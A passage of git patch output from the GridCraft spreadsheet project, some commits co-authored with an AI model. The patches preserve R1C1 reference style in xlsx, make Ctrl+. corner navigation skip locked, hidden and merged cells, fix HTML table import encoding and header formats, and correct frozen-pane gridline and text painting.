back in A1 style. + let bytes = super::minimal("", &[], "", r#""#); + let (wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.calc.r1c1); + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("calcPr").and_then(|c| c.attr("refMode")), Some("R1C1")); + // A1 is the default and isn't written. + let saved = write_xlsx(&Workbook::new()).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("calcPr").and_then(|c| c.attr("refMode")), None); +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index 2c1e8f60f..a96e7a350 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -326,6 +326,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) if wb.calc.precision_as_displayed { w.push_str(" fullPrecision=\"0\""); } + if wb.calc.r1c1 { + w.push_str(" refMode=\"R1C1\""); + } if out.needs_calc { w.push_str(" fullCalcOnLoad=\"1\""); } diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..f07bb1fcf 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (a workbook's R1C1 reference style, `calcPr refMode`, is kept through open and save; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `` (a workbook saved in R1C1 reference style) is read into the calculation settings and written back; GridCraft itself still shows A1 references (#2809, file part) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 5acb4af7892c14d2fe8da57dae91f634b281cabf Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:08:01 -0600 Subject: [PATCH 241/298] #1442: Ctrl+. skips corners the sheet can't select and stops once on a merged corner Addresses CodeRabbit review on #3226: - "Check the next corner against protected-sheet selection rules": on a sheet protected without Select Locked Cells, Ctrl+. could make a locked corner active. It now goes on to the next corner it may select. - "Keep the active cell at a merged cell's anchor": a corner inside a merged cell made that cell active instead of the merge's top-left cell. The corner now lands on the top-left cell, and corners in the same merged cell are one stop. Selection::next_corner_by takes where each corner leads (or None to skip it); next_corner keeps its plain behaviour. Tests: next_corner_skips_corners_the_sheet_protection_does_not_let_you_select, next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/selection.rs | 8 +++++++- crates/engine/src/cmd/edit/tests.rs | 27 +++++++++++++++++++++++++ crates/engine/src/selection.rs | 19 ++++++++++++----- 3 files changed, 48 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index 03e178156..27db1c53a 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs @@ -139,7 +139,13 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; - d.selection.next_corner(); + let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; + // A corner in a merged cell lands on its top-left cell; one the sheet's protection doesn't + // let you select is skipped. + let stop = |c: CellRef| Some(sheet.merge_at(c).map_or(c, |m| m.start)).filter(|c| cell_selectable(&d.wb, sheet, *c)); + let mut next = d.selection.clone(); + next.next_corner_by(stop); + d.selection = next; Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()})) } diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index ead610e50..8e8c52b36 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -397,3 +397,30 @@ fn next_corner_of_selection_goes_clockwise_and_anchors_there() { s.execute("selection.set", json!({"range": "C5"})).unwrap(); assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5"); } + +#[test] +fn next_corner_skips_corners_the_sheet_protection_does_not_let_you_select() { + // With locked cells unselectable, Ctrl+. goes on to the next corner it may select. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.lockCell", json!({"range": "B2:C3", "on": false})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + s.execute("review.protectSheet", json!({"selectLockedCells": false})).unwrap(); + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("B3"), Some("B2:D3")), "D2 and D3 are locked"); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2"); +} + +#[test] +fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() { + // A corner inside a merged cell is that merged cell, whose active cell is its top-left one. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.mergeCells", json!({"range": "C2:D2"})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + let seen: Vec = (0..4).map(|_| s.execute("selection.nextCorner", json!({})).unwrap()["active"].as_str().unwrap().to_string()).collect(); + assert_eq!(seen, ["C2", "D3", "B3", "B2"]); + // A selection that is one merged cell has no other corner. + s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2"); +} diff --git a/crates/engine/src/selection.rs b/crates/engine/src/selection.rs index a69870adb..3f3feee9d 100644 --- a/crates/engine/src/selection.rs +++ b/crates/engine/src/selection.rs @@ -134,14 +134,23 @@ impl Selection { /// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that /// isn't a corner the next corner is the top-left one; a single cell stays where it is. pub fn next_corner(&mut self) { + self.next_corner_by(Some); + } + + /// [`Selection::next_corner`] where `stop` says where each corner takes the active cell: the + /// top-left cell of a merged cell the corner is in, or `None` for a corner that can't be + /// selected (it is skipped). Corners that end up on the active cell are one stop with it. + pub fn next_corner_by(&mut self, stop: impl Fn(CellRef) -> Option) { let r = self.current(); let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)]; - let next = match corners.iter().position(|c| *c == self.active) { - Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).copied().find(|c| *c != self.active).unwrap_or(self.active), - None => r.start, + let next = match corners.iter().rposition(|c| stop(*c) == Some(self.active)) { + Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).filter_map(|c| stop(*c)).find(|c| *c != self.active), + None => corners.iter().find_map(|c| stop(*c)), }; - self.active = next; - self.anchor = next; + if let Some(next) = next { + self.active = next; + self.anchor = next; + } } } From e23994b7cb990416caee69b871dd140c1fba63d7 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:17:35 -0600 Subject: [PATCH 242/298] #3166: a web page's table keeps its characters, its shown text and its header formats MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses CodeRabbit review on #3223: - "Decode HTML before parsing its cells": a page in Windows-1252 read as lossy UTF-8, so "Café" lost its é. The page is now decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256); decode_text is exported for it. - "Keep visible cell text when csv_as_text is enabled": opened as text, a cell with x:num took the recorded number ("4,50" became "4.5"). The recorded number is used only when values are read. - "Preserve the imported format when styling a header": a date in a lost its date format when made bold and centred. Header styling now builds on the style the CSV reader gave the cell. Test: a_web_page_table_keeps_its_characters_text_and_header_formats. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 36 ++++++++++++++++++++++------------- crates/engine/src/io/tests.rs | 20 +++++++++++++++++++ crates/xlsx/src/lib.rs | 2 +- 3 files changed, 44 insertions(+), 14 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 9e3c7f7ae..f62a55e40 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -355,7 +355,8 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { /// header cells (``) are bold and centred, and the sheet takes the name the page gives it /// (``) or the file's. `None` when the bytes aren't such a page. fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { - let text = String::from_utf8_lossy(bytes); + // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. + let text = gridcraft_xlsx::decode_text(bytes); let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); if ![", bytes: &[u8], csv_as_text let fields: Vec = row .iter() .map(|cell| { - let field = match cell.num { + // The number the page recorded (`x:num`) only when values are read; as text, the + // cell keeps the text it shows. + let field = match cell.num.filter(|_| !csv_as_text) { Some(n) => gridcraft_core::number_to_text(n), None => cell.text.split_whitespace().collect::>().join(" "), }; @@ -384,17 +387,24 @@ fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string())); Some(read.map(|(mut wb, report)| { wb.csv_delimiter = None; - let header_style = wb.styles.derive(gridcraft_model::StyleId::DEFAULT, |st| { - st.font.bold = true; - st.align.h = gridcraft_model::HAlign::Center; - }); - if let Some(sh) = wb.sheet_mut(0) { - for (r, row) in rows.iter().enumerate() { - for (c, cell) in row.iter().enumerate() { - if cell.header && !cell.text.trim().is_empty() { - sh.set_style(CellRef::new(r as u32, c as u32), header_style); - } - } + // Header cells are bold and centred on top of the style the CSV reader gave them, so a + // date in a header keeps its date format. + let headers: Vec = rows + .iter() + .enumerate() + .flat_map(|(r, row)| row.iter().enumerate().filter(|(_, cell)| cell.header && !cell.text.trim().is_empty()).map(move |(c, _)| CellRef::new(r as u32, c as u32))) + .collect(); + let mut bold: std::collections::HashMap = std::collections::HashMap::new(); + for at in headers { + let Some(base) = wb.sheet(0).map(|sh| sh.style_id(at)) else { continue }; + let id = *bold.entry(base).or_insert_with(|| { + wb.styles.derive(base, |st| { + st.font.bold = true; + st.align.h = gridcraft_model::HAlign::Center; + }) + }); + if let Some(sh) = wb.sheet_mut(0) { + sh.set_style(at, id); } } let page_name = find_between(&text, "", "").map(|n| crate::clip_html::normalized(n.trim())); diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 34b1a3c0a..fab60261f 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -636,3 +636,23 @@ fn a_web_page_saved_as_xls_opens_its_table() { let (wb, _) = open_bytes("notes.csv", b",1\nx,2\n").unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0)); } + +#[test] +fn a_web_page_table_keeps_its_characters_text_and_header_formats() { + // A page saved in Windows-1252 keeps its accented letters (it read as replacement characters). + let mut page = b"
Caf".to_vec(); + page.push(0xE9); + page.extend_from_slice(b"2024-01-15
Plum4,50
"); + let (wb, _) = open_bytes("menu.xls", &page).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("Café")); + // A date in a header cell stays a date, bold and centred (its format was replaced). + let b1 = wb.styles.get(sh.style_id(CellRef::parse("B1").unwrap())); + assert!(matches!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::Number(_))); + assert!(b1.font.bold && b1.align.h == gridcraft_model::HAlign::Center); + assert_ne!(b1.num_fmt.as_str(), "General", "the date keeps its date format"); + assert_eq!(sh.value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(4.5)); + // Opened as text, a cell keeps the text it shows, not the number the page recorded for it. + let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50")); +} diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 5b94531c4..a6ede6af5 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -47,7 +47,7 @@ use gridcraft_core::DateSystem; use gridcraft_model::Workbook; pub use crypto::{DecryptError, check_encryption, decrypt}; -pub use csv::{MAX_CSV_BYTES, read_csv, read_csv_with_report, write_csv, write_csv_limited}; +pub use csv::{MAX_CSV_BYTES, decode_text, read_csv, read_csv_with_report, write_csv, write_csv_limited}; pub use ods::read_ods; pub use package::MAX_PART; pub use passthrough::rebase_links; From 914a76a9d84b3cca02d247662c9091624ce3ebe1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:21:40 -0600 Subject: [PATCH 243/298] #1442: Ctrl+. skips hidden corners and stays inside the selected area Addresses CodeRabbit review on #3226, "Skip hidden corner destinations" and "Keep merged destinations inside the selected area": with column D hidden, Ctrl+. on B2:D3 made D2 active; with B1:C1 merged and column C selected, it made B1 active, outside the selection. A corner in a hidden row or column, or one whose merged cell starts outside the selected area, is now passed over like a locked corner on a protected sheet. Test: next_corner_skips_hidden_corners_and_stays_inside_the_selected_area. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/selection.rs | 11 ++++++++--- crates/engine/src/cmd/edit/tests.rs | 19 +++++++++++++++++++ 2 files changed, 27 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index 27db1c53a..8115f6390 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs @@ -140,9 +140,14 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; - // A corner in a merged cell lands on its top-left cell; one the sheet's protection doesn't - // let you select is skipped. - let stop = |c: CellRef| Some(sheet.merge_at(c).map_or(c, |m| m.start)).filter(|c| cell_selectable(&d.wb, sheet, *c)); + // A corner in a merged cell lands on its top-left cell. One in a hidden row or column, one + // the sheet's protection doesn't let you select, and a merged cell that starts outside the + // selected area are skipped. + let area = d.selection.current(); + let stop = |c: CellRef| { + Some(sheet.merge_at(c).map_or(c, |m| m.start)) + .filter(|c| area.contains(*c) && !sheet.is_row_hidden(c.row) && !sheet.is_col_hidden(c.col) && cell_selectable(&d.wb, sheet, *c)) + }; let mut next = d.selection.clone(); next.next_corner_by(stop); d.selection = next; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 8e8c52b36..c9051252d 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -424,3 +424,22 @@ fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() { s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap(); assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2"); } + +#[test] +fn next_corner_skips_hidden_corners_and_stays_inside_the_selected_area() { + // A corner in a hidden column is passed over, as keyboard moves pass over hidden cells. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.hideColumns", json!({"cols": "D:D"})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B3"); + // Column C selected with B1:C1 merged: its top corner's merged cell starts in column B, + // outside the selection, so the active cell doesn't go there. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.mergeCells", json!({"range": "B1:C1"})).unwrap(); + s.execute("selection.set", json!({"cell": "C5"})).unwrap(); + s.execute("selection.column", json!({})).unwrap(); + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("C1048576"), Some("C:C"))); +} From 17f733a81e7b4fd85dc0f99c7d492cc1919d21a1 Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 12:55:11 +0530 Subject: [PATCH 244/298] Frozen panes: frozen columns keep their text, gridlines and borders while scrolling (#2544) The grid took a column's right edge to be where the next column starts, `x(col + 1)`. At the freeze line the next column is in the scrolled pane and moves with the scroll, so everything measured that way inside the frozen columns shrank as the sheet scrolled right: - text overflowing from a frozen cell was clipped at the scrolled column's edge, until only a character or two showed; - the frozen columns' gridlines stopped short, with a stray vertical line drawn inside them; - a merged range's borders under the last frozen column ended early; - the freeze handle measured the last frozen column wrongly when dropped while scrolled. Geo gains `x_end`/`y_end` (a column's or row's own far edge) and `same_col_pane`, and every such measurement uses them. Text overflows only into empty cells of its own pane. In Page Layout view the gridlines now stop at each page's last column instead of running into the margin. Fixes #2544 --- crates/ui-egui/src/grid/cell_paint.rs | 4 +- crates/ui-egui/src/grid/geo.rs | 18 +++-- crates/ui-egui/src/grid/interact.rs | 4 +- crates/ui-egui/src/grid/quadrant.rs | 31 ++++----- crates/ui-egui/tests/it/borders.rs | 37 +++++++++++ crates/ui-egui/tests/it/freeze_handles.rs | 16 +++++ .../ui-egui/tests/it/text_overflow_scroll.rs | 66 +++++++++++++++++++ docs/ui-parity.md | 3 +- 8 files changed, 153 insertions(+), 26 deletions(-) diff --git a/crates/ui-egui/src/grid/cell_paint.rs b/crates/ui-egui/src/grid/cell_paint.rs index 9c6a0b10b..187790e6c 100644 --- a/crates/ui-egui/src/grid/cell_paint.rs +++ b/crates/ui-egui/src/grid/cell_paint.rs @@ -194,7 +194,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area if sh.col_width(col) == 0.0 { continue; } - let (x0, x1) = (geo.x(sh, col), geo.x(sh, col.saturating_add(1))); + let (x0, x1) = (geo.x(sh, col), geo.x_end(sh, col)); let top = look(wb, si, sh, CellRef::new(m.start.row, col), cf).0.style.borders.top; let bottom = look(wb, si, sh, CellRef::new(m.end.row, col), cf).0.style.borders.bottom; out.push((top, [pos2(x0, rect.top()), pos2(x1, rect.top())])); @@ -205,7 +205,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area if sh.row_height(row) == 0.0 { continue; } - let (y0, y1) = (geo.y(sh, row), geo.y(sh, row.saturating_add(1))); + let (y0, y1) = (geo.y(sh, row), geo.y_end(sh, row)); let left = look(wb, si, sh, CellRef::new(row, m.start.col), cf).0.style.borders.left; let right = look(wb, si, sh, CellRef::new(row, m.end.col), cf).0.style.borders.right; out.push((left, [pos2(rect.left(), y0), pos2(rect.left(), y1)])); diff --git a/crates/ui-egui/src/grid/geo.rs b/crates/ui-egui/src/grid/geo.rs index 33b1b5461..a1005b32f 100644 --- a/crates/ui-egui/src/grid/geo.rs +++ b/crates/ui-egui/src/grid/geo.rs @@ -158,11 +158,21 @@ impl Geo { self.cells.top() + self.frozen_h + (self.ri.start(row) as f32 - self.ri.start(self.fr) as f32 - self.scroll.y) * self.z } } + /// Screen x of `col`'s right edge. Not `x(col + 1)`: across the freeze line (and between + /// pages) the next column is laid out elsewhere (#2544). + pub fn x_end(&self, sh: &Sheet, col: u32) -> f32 { + self.x(sh, col) + sh.col_width(col) * self.z + } + /// Screen y of `row`'s bottom edge (see `x_end`). + pub fn y_end(&self, sh: &Sheet, row: u32) -> f32 { + self.y(sh, row) + sh.row_height(row) * self.z + } + /// Columns `a` and `b` are on the same side of the freeze line, so they scroll together. + pub fn same_col_pane(&self, a: u32, b: u32) -> bool { + (a < self.fc) == (b < self.fc) + } pub fn cell_rect(&self, sh: &Sheet, c: CellRef) -> Rect { - Rect::from_min_max( - pos2(self.x(sh, c.col), self.y(sh, c.row)), - pos2(self.x(sh, c.col) + sh.col_width(c.col) * self.z, self.y(sh, c.row) + sh.row_height(c.row) * self.z), - ) + Rect::from_min_max(pos2(self.x(sh, c.col), self.y(sh, c.row)), pos2(self.x_end(sh, c.col), self.y_end(sh, c.row))) } pub fn range_rect(&self, sh: &Sheet, r: RangeRef) -> Rect { let a = self.cell_rect(sh, r.start); diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..fc60e0626 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -891,7 +891,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 { return 0; } let c = geo.col_at(sh, p.x); - let (l, r) = (geo.x(sh, c), geo.x(sh, c.saturating_add(1).min(MAX_COLS - 1))); + let (l, r) = (geo.x(sh, c), geo.x_end(sh, c)); let b = if p.x - l > r - p.x { c.saturating_add(1) } else { c }; let room = geo.ci.at((((geo.cells.width() - 40.0) / geo.z).max(0.0)) as f64); b.min(room).min(MAX_COLS - 1) @@ -900,7 +900,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 { return 0; } let rr = geo.row_at(sh, p.y); - let (t, b2) = (geo.y(sh, rr), geo.y(sh, rr.saturating_add(1).min(MAX_ROWS - 1))); + let (t, b2) = (geo.y(sh, rr), geo.y_end(sh, rr)); let b = if p.y - t > b2 - p.y { rr.saturating_add(1) } else { rr }; let room = geo.ri.at((((geo.cells.height() - 40.0) / geo.z).max(0.0)) as f64); b.min(room).min(MAX_ROWS - 1) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 554bdcfdd..9c5712da7 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -142,21 +142,17 @@ fn paint_gridlines(q: &QuadrantPaint<'_>) { if sh.show_gridlines { let stroke = Stroke::new(1.0, t.gridline); let top = geo.y(sh, r0); - let bottom = geo.y(sh, r1 + 1); + let bottom = geo.y_end(sh, r1); let left = geo.x(sh, c0); - let right = geo.x(sh, c1 + 1); - for c in c0..=c1 + 1 { - if c <= c1 && sh.col_width(c) == 0.0 { - continue; - } - let x = geo.x(sh, c).round() - 0.5; + let right = geo.x_end(sh, c1); + let xs = (c0..=c1).filter(|&c| sh.col_width(c) > 0.0).map(|c| geo.x(sh, c)).chain([right]); + for x in xs { + let x = x.round() - 0.5; p.line_segment([pos2(x, top), pos2(x, bottom)], stroke); } - for r in r0..=r1 + 1 { - if r <= r1 && sh.row_height(r) == 0.0 { - continue; - } - let y = geo.y(sh, r).round() - 0.5; + let ys = (r0..=r1).filter(|&r| sh.row_height(r) > 0.0).map(|r| geo.y(sh, r)).chain([bottom]); + for y in ys { + let y = y.round() - 0.5; p.line_segment([pos2(left, y), pos2(right, y)], stroke); } } @@ -224,7 +220,6 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce // Text cells just outside the quadrant whose text may overflow into it: the nearest non-empty // cell left of `c0` and right of `c1` in each row (within the same frozen / scrolled pane). let mut outside: Vec<(CellRef, Rect, Look, Option)> = Vec::new(); - let same_pane = |col: u32| (col < geo.fc) == (c0 < geo.fc); for r in r0..=r1 { if sh.row_height(r) == 0.0 { continue; @@ -232,7 +227,7 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce let left = (c0.saturating_sub(20)..c0).rev().map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n)); let right = (c1.saturating_add(1)..=c1.saturating_add(20).min(MAX_COLS - 1)).map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n)); for n in [left, right].into_iter().flatten() { - if same_pane(n.col) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() { + if geo.same_col_pane(n.col, c0) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() { let (lk, cfl) = look(wb, si, sh, n, cf); outside.push((n, geo.cell_rect(sh, n), lk, cfl)); } @@ -333,7 +328,9 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option, painted: &(CellRef, Rect, Look, Option c.col { - right = geo.x(sh, across_end + 1); + right = geo.x_end(sh, across_end); } if matches!(halign, HAlign::Left | HAlign::Center | 